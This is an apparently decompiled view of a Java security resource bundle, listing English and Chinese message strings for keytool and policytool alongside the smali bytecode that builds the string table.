                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-storetype <\u5b58\u50a8\u7c7b\u578b>] [-providername <\u540d\u79f0>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerclass <\u63d0\u4f9b\u65b9\u7c7b\u540d\u79f0> [-providerarg <\u53c2\u6570>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • \t [-providerpath <\u8def\u5f84\u5217\u8868>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -delete [-v] [-protected] -alias <\u522b\u540d>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <\u522b\u540d>] [-file <\u8ba4\u8bc1\u6587\u4ef6>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-alias <\u522b\u540d>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <\u5bc6\u94a5\u5927\u5c0f>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <valDays>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-alias <\u522b\u540d>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <\u8ba4\u8bc1\u6587\u4ef6>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srckeystore <\u6e90\u5bc6\u94a5\u5e93>] [-destkeystore <\u76ee\u6807\u5bc6\u94a5\u5e93>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcstoretype <\u6e90\u5b58\u50a8\u7c7b\u578b>] [-deststoretype <\u76ee\u6807\u5b58\u50a8\u7c7b\u578b>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcstorepass <\u6e90\u5b58\u50a8\u5e93\u53e3\u4ee4>] [-deststorepass <\u76ee\u6807\u5b58\u50a8\u5e93\u53e3\u4ee4>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcprovidername <\u6e90\u63d0\u4f9b\u65b9\u540d\u79f0>]\n\t [-destprovidername <\u76ee\u6807\u63d0\u4f9b\u65b9\u540d\u79f0>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srcalias <\u6e90\u522b\u540d> [-destalias <\u76ee\u6807\u522b\u540d>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-srckeypass <\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4>] [-destkeypass <\u76ee\u6807\u5bc6\u94a5\u5e93\u53e3\u4ee4>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • -changealias [-v] [-protected] -alias <\u522b\u540d> -destalias <\u76ee\u6807\u522b\u540d>
                                                                              • \t [-keypass <keypass>]
                                                                              • \t [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • -keypasswd [-v] [-alias <\u522b\u540d>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <\u65e7\u5bc6\u94a5\u5e93\u53e3\u4ee4>] [-new <\u65b0\u5bc6\u94a5\u5e93\u53e3\u4ee4>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <\u8ba4\u8bc1\u6587\u4ef6>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • -storepasswd [-v] [-new <\u65b0\u5b58\u50a8\u5e93\u53e3\u4ee4>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • \u8b66\u544a: \u522b\u540d {0} \u7684\u516c\u7528\u5bc6\u94a5\u4e0d\u5b58\u5728\u3002\u8bf7\u786e\u4fdd\u5df2\u6b63\u786e\u914d\u7f6e\u5bc6\u94a5\u5e93\u3002
                                                                              • Warning: Class not found: class
                                                                              • \u8b66\u544a: \u627e\u4e0d\u5230\u7c7b: {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • \u8b66\u544a: \u6784\u9020\u51fd\u6570\u7684\u53c2\u6570\u65e0\u6548: {0}
                                                                              • Illegal Principal Type: type
                                                                              • \u975e\u6cd5\u7684 Principal \u7c7b\u578b: {0}
                                                                              • Illegal option: option
                                                                              • \u975e\u6cd5\u9009\u9879: {0}
                                                                              • Usage: policytool [options]
                                                                              • \u7528\u6cd5\uff1a policytool [\u9009\u9879]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <file>] \u89c4\u5219\u6587\u4ef6\u4f4d\u7f6e
                                                                              • New
                                                                              • \u65b0\u6587\u4ef6
                                                                              • Open
                                                                              • \u6253\u5f00
                                                                              • Save
                                                                              • \u4fdd\u5b58
                                                                              • Save As
                                                                              • \u53e6\u5b58\u4e3a
                                                                              • View Warning Log
                                                                              • \u67e5\u770b\u8b66\u544a\u8bb0\u5f55
                                                                              • Exit
                                                                              • \u9000\u51fa
                                                                              • Add Policy Entry
                                                                              • \u6dfb\u52a0\u89c4\u5219\u9879\u76ee
                                                                              • Edit Policy Entry
                                                                              • \u7f16\u8f91\u89c4\u5219\u9879\u76ee
                                                                              • Remove Policy Entry
                                                                              • \u5220\u9664\u89c4\u5219\u9879\u76ee
                                                                              • Edit
                                                                              • \u7f16\u8f91
                                                                              • Retain
                                                                              • \u4fdd\u6301
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • \u6dfb\u52a0\u516c\u7528\u5bc6\u94a5\u522b\u540d
                                                                              • Remove Public Key Alias
                                                                              • \u5220\u9664\u516c\u7528\u5bc6\u94a5\u522b\u540d
                                                                              • File
                                                                              • \u6587\u4ef6
                                                                              • KeyStore
                                                                              • \u5bc6\u94a5\u5e93
                                                                              • Policy File:
                                                                              • \u89c4\u5219\u6587\u4ef6\uff1a
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • \u65e0\u6cd5\u6253\u5f00\u7b56\u7565\u6587\u4ef6: {0}: {1}
                                                                              • Policy Tool
                                                                              • \u89c4\u5219\u5de5\u5177
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • \u6253\u5f00\u89c4\u5219\u914d\u7f6e\u65f6\u53d1\u751f\u9519\u8bef\u3002 \u8bf7\u67e5\u770b\u8b66\u544a\u8bb0\u5f55\u83b7\u53d6\u66f4\u591a\u4fe1\u606f
                                                                              • Error
                                                                              • \u9519\u8bef
                                                                              • OK
                                                                              • \u786e\u8ba4
                                                                              • Status
                                                                              • \u72b6\u6001
                                                                              • Warning
                                                                              • \u8b66\u544a
                                                                              • Permission:
                                                                              • \u8bb8\u53ef\uff1a
                                                                              • Principal Type:
                                                                              • Principal \u7c7b\u578b\uff1a
                                                                              • Principal Name:
                                                                              • Principal \u540d\u79f0\uff1a
                                                                              • Target Name:
                                                                              • \u76ee\u6807\u540d\u79f0\uff1a
                                                                              • Actions:
                                                                              • \u52a8\u4f5c\uff1a
                                                                              • OK to overwrite existing file filename?
                                                                              • \u786e\u8ba4\u66ff\u6362\u73b0\u6709\u7684\u6587\u4ef6 {0}\uff1f
                                                                              • Cancel
                                                                              • \u53d6\u6d88
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • \u6dfb\u52a0 Principal
                                                                              • Edit Principal
                                                                              • \u7f16\u8f91 Principal
                                                                              • Remove Principal
                                                                              • \u5220\u9664 Principal
                                                                              • Principals:
                                                                              • Principals\uff1a
                                                                              • Add Permission
                                                                              • \u6dfb\u52a0\u6743\u9650
                                                                              • Edit Permission
                                                                              • \u7f16\u8f91\u6743\u9650
                                                                              • Remove Permission
                                                                              • \u5220\u9664\u6743\u9650
                                                                              • Done
                                                                              • \u5b8c\u6210
                                                                              • KeyStore URL:
                                                                              • \u5bc6\u94a5\u5e93 URL:
                                                                              • KeyStore Type:
                                                                              • \u5bc6\u94a5\u5e93\u7c7b\u578b:
                                                                              • KeyStore Provider:
                                                                              • \u5bc6\u94a5\u5e93\u63d0\u4f9b\u8005:
                                                                              • KeyStore Password URL:
                                                                              • \u5bc6\u94a5\u5e93\u53e3\u4ee4 URL:
                                                                              • Principals
                                                                              • Edit Principal:
                                                                              • \u7f16\u8f91 Principal\uff1a
                                                                              • Add New Principal:
                                                                              • \u52a0\u5165\u65b0 Principal\uff1a
                                                                              • Permissions
                                                                              • \u6743\u9650
                                                                              • Edit Permission:
                                                                              • Add New Permission:
                                                                              • \u52a0\u5165\u65b0\u7684\u6743\u9650
                                                                              • Signed By:
                                                                              • \u7b7e\u7f72\u4eba\uff1a
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • \u6ca1\u6709\u901a\u914d\u7b26\u540d\u79f0\uff0c\u65e0\u6cd5\u7528\u901a\u914d\u7b26\u7c7b\u522b\u6307\u5b9aPrincipal
                                                                              • Cannot Specify Principal without a Name
                                                                              • \u6ca1\u6709\u540d\u79f0\uff0c\u65e0\u6cd5\u6307\u5b9a Principal
                                                                              • Permission and Target Name must have a value
                                                                              • \u6743\u9650\u53ca\u76ee\u6807\u540d\u5fc5\u987b\u6709\u4e00\u4e2a\u503c\u3002
                                                                              • Remove this Policy Entry?
                                                                              • \u5220\u9664\u6b64\u89c4\u5219\u9879\uff1f
                                                                              • Overwrite File
                                                                              • \u66ff\u6362\u6587\u4ef6
                                                                              • Policy successfully written to filename
                                                                              • \u89c4\u5219\u6210\u529f\u5199\u81f3 {0}
                                                                              • null filename
                                                                              • \u65e0\u6548\u7684\u6587\u4ef6\u540d
                                                                              • Save changes?
                                                                              • \u662f\u5426\u4fdd\u5b58\u6240\u505a\u7684\u66f4\u6539\uff1f
                                                                              • Yes
                                                                              • No
                                                                              • Policy Entry
                                                                              • \u89c4\u5219\u9879\u76ee
                                                                              • Save Changes
                                                                              • \u4fdd\u5b58\u4fee\u6539
                                                                              • No Policy Entry selected
                                                                              • \u6ca1\u6709\u9009\u62e9\u89c4\u5219\u9879\u76ee
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • \u65e0\u6cd5\u6253\u5f00\u5bc6\u94a5\u5e93: {0}
                                                                              • No principal selected
                                                                              • \u672a\u9009\u62e9 Principal
                                                                              • No permission selected
                                                                              • \u6ca1\u6709\u9009\u62e9\u6743\u9650
                                                                              • name
                                                                              • \u540d\u79f0
                                                                              • configuration type
                                                                              • \u914d\u7f6e\u7c7b\u578b
                                                                              • environment variable name
                                                                              • \u73af\u5883\u53d8\u91cf\u540d
                                                                              • library name
                                                                              • \u7a0b\u5e8f\u5e93\u540d\u79f0
                                                                              • package name
                                                                              • \u8f6f\u4ef6\u5305\u540d\u79f0
                                                                              • policy type
                                                                              • \u7b56\u7565\u7c7b\u578b
                                                                              • property name
                                                                              • \u5c5e\u6027\u540d\u79f0
                                                                              • provider name
                                                                              • \u63d0\u4f9b\u8005\u540d\u79f0
                                                                              • Principal List
                                                                              • Principal \u5217\u8868
                                                                              • Permission List
                                                                              • \u6743\u9650\u5217\u8868
                                                                              • Code Base
                                                                              • Code Base\uff08\u4ee3\u7801\u5e93\uff09
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • \u65e0\u6548\u7a7a\u8f93\u5165
                                                                              • actions can only be \'read\'
                                                                              • \u52a8\u4f5c\u53ea\u80fd\u88ab\u2018\u8bfb\u53d6\'
                                                                              • permission name [name] syntax invalid:
                                                                              • \u6743\u9650\u540d\u79f0 [{0}]\u8bed\u6cd5\u65e0\u6548\uff1a
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • \u8ba4\u8bc1\u7b49\u7ea7\u540e\u672a\u52a0\u4e0aPrincipal \u7c7b\u522b\u53ca\u540d\u79f0
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Principal \u7c7b\u522b\u540e\u9762\u6ca1\u52a0\u4e0aPrincipal \u540d\u79f0
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Principal \u540d\u79f0\u5fc5\u987b\u653e\u5728\u5f15\u53f7\u5185
                                                                              • Principal Name missing end quote
                                                                              • Principal \u540d\u79f0\u7f3a\u5c11\u4e0b\u5f15\u53f7
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • \u5982\u679c Principal \u540d\u79f0\u4e0d\u662f\u4e00\u4e2a\u901a\u914d\u7b26 (*) \u503c\uff0c\u90a3\u4e48 PrivateCredentialPermission Principal \u7c7b\u522b\u5c31\u4e0d\u4f1a\u662f\u4e00\u4e2a\u901a\u914d\u7b26 (*) \u503c
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tPrincipal \u7c7b\u522b = {0}\n\tPrincipal \u540d\u79f0 = {1}
                                                                              • provided null name
                                                                              • \u6240\u4f9b\u540d\u79f0\u65e0\u6548
                                                                              • provided null keyword map
                                                                              • \u63d0\u4f9b\u4e86\u7a7a\u5173\u952e\u5b57\u6620\u5c04
                                                                              • provided null OID map
                                                                              • \u63d0\u4f9b\u4e86\u7a7a OID \u6620\u5c04
                                                                              • invalid null AccessControlContext provided
                                                                              • \u63d0\u4f9b\u65e0\u6548\u7684\u7a7a AccessControlContext
                                                                              • invalid null action provided
                                                                              • \u63d0\u4f9b\u4e86\u65e0\u6548\u7684\u7a7a\u52a8\u4f5c
                                                                              • invalid null Class provided
                                                                              • \u63d0\u4f9b\u4e86\u65e0\u6548\u7684\u7a7a\u7c7b\u522b
                                                                              • Subject:\n
                                                                              • \u4e3b\u9898\uff1a\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \t\u516c\u7528\u8ba4\u8bc1
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \t\u65e0\u6cd5\u8bbf\u95ee\u79c1\u4eba\u8ba4\u8bc1\n
                                                                              • \tPrivate Credential:
                                                                              • \t\u79c1\u4eba\u8ba4\u8bc1
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • Subject is read-only
                                                                              • \u4e3b\u9898\u4e3a\u53ea\u8bfb
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • \u8bd5\u56fe\u5c06\u4e00\u4e2a\u975e java.security.Principal \u5b9e\u4f8b\u7684\u5bf9\u8c61\u6dfb\u52a0\u81f3\u4e3b\u9898\u7684 Principal \u96c6\u4e2d
                                                                              • attempting to add an object which is not an instance of class
                                                                              • \u8bd5\u56fe\u6dfb\u52a0\u4e00\u4e2a\u975e {0} \u5b9e\u4f8b\u7684\u5bf9\u8c61
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • \u65e0\u6548\u7a7a\u8f93\u5165\uff1a\u540d\u79f0
                                                                              • No LoginModules configured for name
                                                                              • \u6ca1\u6709\u4e3a {0} \u914d\u7f6eLoginModules
                                                                              • invalid null Subject provided
                                                                              • \u63d0\u4f9b\u4e86\u65e0\u6548\u7a7a\u4e3b\u9898
                                                                              • invalid null CallbackHandler provided
                                                                              • \u63d0\u4f9b\u4e86\u65e0\u6548\u7684\u7a7a CallbackHandler
                                                                              • null subject - logout called before login
                                                                              • \u65e0\u6548\u4e3b\u9898 - \u5728\u767b\u5f55\u4e4b\u524d\u5373\u88ab\u8c03\u7528\u6ce8\u9500
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • \u65e0\u6cd5\u4f8b\u793a LoginModule\uff0c {0}\uff0c\u56e0\u4e3a\u5b83\u5e76\u672a\u63d0\u4f9b\u4e00\u4e2a\u4e0d\u542b\u53c2\u6570\u7684\u6784\u9020\u7a0b\u5e8f
                                                                              • unable to instantiate LoginModule
                                                                              • \u65e0\u6cd5\u4f8b\u793a LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • \u65e0\u6cd5\u5b9e\u4f8b\u5316 LoginModule:
                                                                              • unable to find LoginModule class:
                                                                              • \u65e0\u6cd5\u627e\u5230 LoginModule \u7c7b\u522b\uff1a
                                                                              • unable to access LoginModule:
                                                                              • \u65e0\u6cd5\u8bbf\u95ee LoginModule:
                                                                              • Login Failure: all modules ignored
                                                                              • \u767b\u5f55\u5931\u8d25\uff1a\u5ffd\u7565\u6240\u6709\u6a21\u5757
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: \u89e3\u6790\u9519\u8bef {0}\uff1a\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: \u6dfb\u52a0\u6743\u9650\u9519\u8bef {0}\uff1a\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: \u6dfb\u52a0\u9879\u76ee\u9519\u8bef\uff1a\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • \u672a\u63d0\u4f9b\u522b\u540d ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • \u4e0d\u80fd\u5728\u522b\u540d\u4e0a\u6267\u884c\u66ff\u4ee3\uff0c {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • \u66ff\u4ee3\u503c {0} \u4e0d\u53d7\u652f\u6301
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • \u4e0d\u80fd\u4e3a\u65e0\u6548\u7c7b\u578b
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • \u4e0d\u6307\u5b9a keystore \u65f6\u65e0\u6cd5\u6307\u5b9a keystorePasswordURL
                                                                              • expected keystore type
                                                                              • \u9884\u671f\u7684 keystore \u7c7b\u578b
                                                                              • expected keystore provider
                                                                              • \u9884\u671f\u7684 keystore \u63d0\u4f9b\u8005
                                                                              • multiple Codebase expressions
                                                                              • \u591a\u79cd Codebase \u8868\u8fbe\u5f0f
                                                                              • multiple SignedBy expressions
                                                                              • \u591a\u79cd SignedBy \u8868\u8fbe\u5f0f
                                                                              • SignedBy has empty alias
                                                                              • SignedBy \u6709\u7a7a\u522b\u540d
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • \u9884\u671f\u7684 codeBase \u6216 SignedBy \u6216 Principal
                                                                              • expected permission entry
                                                                              • \u9884\u671f\u7684\u6743\u9650\u9879\u76ee
                                                                              • number
                                                                              • \u53f7\u7801
                                                                              • expected [expect], read [end of file]
                                                                              • \u9884\u671f\u7684 [{0}], \u8bfb\u53d6 [end of file]
                                                                              • expected [;], read [end of file]
                                                                              • \u9884\u671f\u7684 [;], \u8bfb\u53d6[end of file]
                                                                              • line number: msg
                                                                              • \u5217 {0}\uff1a {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • \u884c\u53f7 {0}\uff1a\u9884\u671f\u7684 [{1}]\uff0c\u627e\u5230 [{2}]
                                                                              • null principalClass or principalName
                                                                              • \u65e0\u6548 principalClass \u6216 principalName
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • PKCS11 Token [{0}] \u5bc6\u7801:
                                                                              • unable to instantiate Subject-based policy
                                                                              • \u65e0\u6cd5\u5b9e\u4f8b\u5316\u57fa\u4e8e\u4e3b\u9898\u7684\u7b56\u7565
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "keytool\u9519\u8bef\uff1a "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "\u975e\u6cd5\u9009\u9879\uff1a "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "\u5c1d\u8bd5 keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "\u547d\u4ee4\u9009\u9879 {0} \u9700\u8981\u4e00\u4e2a\u53c2\u6570\u3002"
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "\u8b66\u544a: PKCS12 KeyStores \u4e0d\u652f\u6301\u5176\u4ed6\u5b58\u50a8\u548c\u5bc6\u94a5\u53e3\u4ee4\u3002\u5ffd\u7565\u7528\u6237\u6307\u5b9a\u7684 {0} \u503c\u3002"
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "\u5982\u679c -storetype \u4e3a {0}\uff0c\u5219 -keystore \u5fc5\u987b\u4e3a NONE"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "\u91cd\u8bd5\u6b21\u6570\u8fc7\u591a\uff0c\u7a0b\u5e8f\u5df2\u7ec8\u6b62"
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "\u5982\u679c -storetype \u4e3a {0}\uff0c\u5219\u4e0d\u652f\u6301 -storepasswd \u548c -keypasswd \u547d\u4ee4"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "\u5982\u679c -storetype \u4e3a PKCS12\uff0c\u5219\u4e0d\u652f\u6301 -keypasswd \u547d\u4ee4"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "\u5982\u679c -storetype \u4e3a {0}\uff0c\u5219\u4e0d\u80fd\u6307\u5b9a -keypass \u548c -new"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "\u5982\u679c\u6307\u5b9a\u4e86 -protected\uff0c\u5219\u4e0d\u8981\u6307\u5b9a -storepass\u3001-keypass \u548c -new"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "\u5982\u679c\u6307\u5b9a\u4e86 -srcprotected\uff0c\u5219\u4e0d\u80fd\u6307\u5b9a -srcstorepass \u548c -srckeypass"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "\u5982\u679c\u5bc6\u94a5\u5e93\u672a\u53d7\u5bc6\u7801\u4fdd\u62a4\uff0c\u5219\u8bf7\u52ff\u6307\u5b9a -storepass\u3001-keypass \u548c -new"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "\u5982\u679c\u6e90\u5bc6\u94a5\u5e93\u672a\u53d7\u5bc6\u7801\u4fdd\u62a4\uff0c\u5219\u8bf7\u52ff\u6307\u5b9a -srcstorepass \u548c -srckeypass"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "\u6709\u6548\u6027\u5fc5\u987b\u5927\u4e8e\u96f6"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0}\u4e0d\u662f\u4e00\u4e2a\u63d0\u4f9b\u8005"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "\u7528\u6cd5\u9519\u8bef: \u6ca1\u6709\u63d0\u4f9b\u547d\u4ee4"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
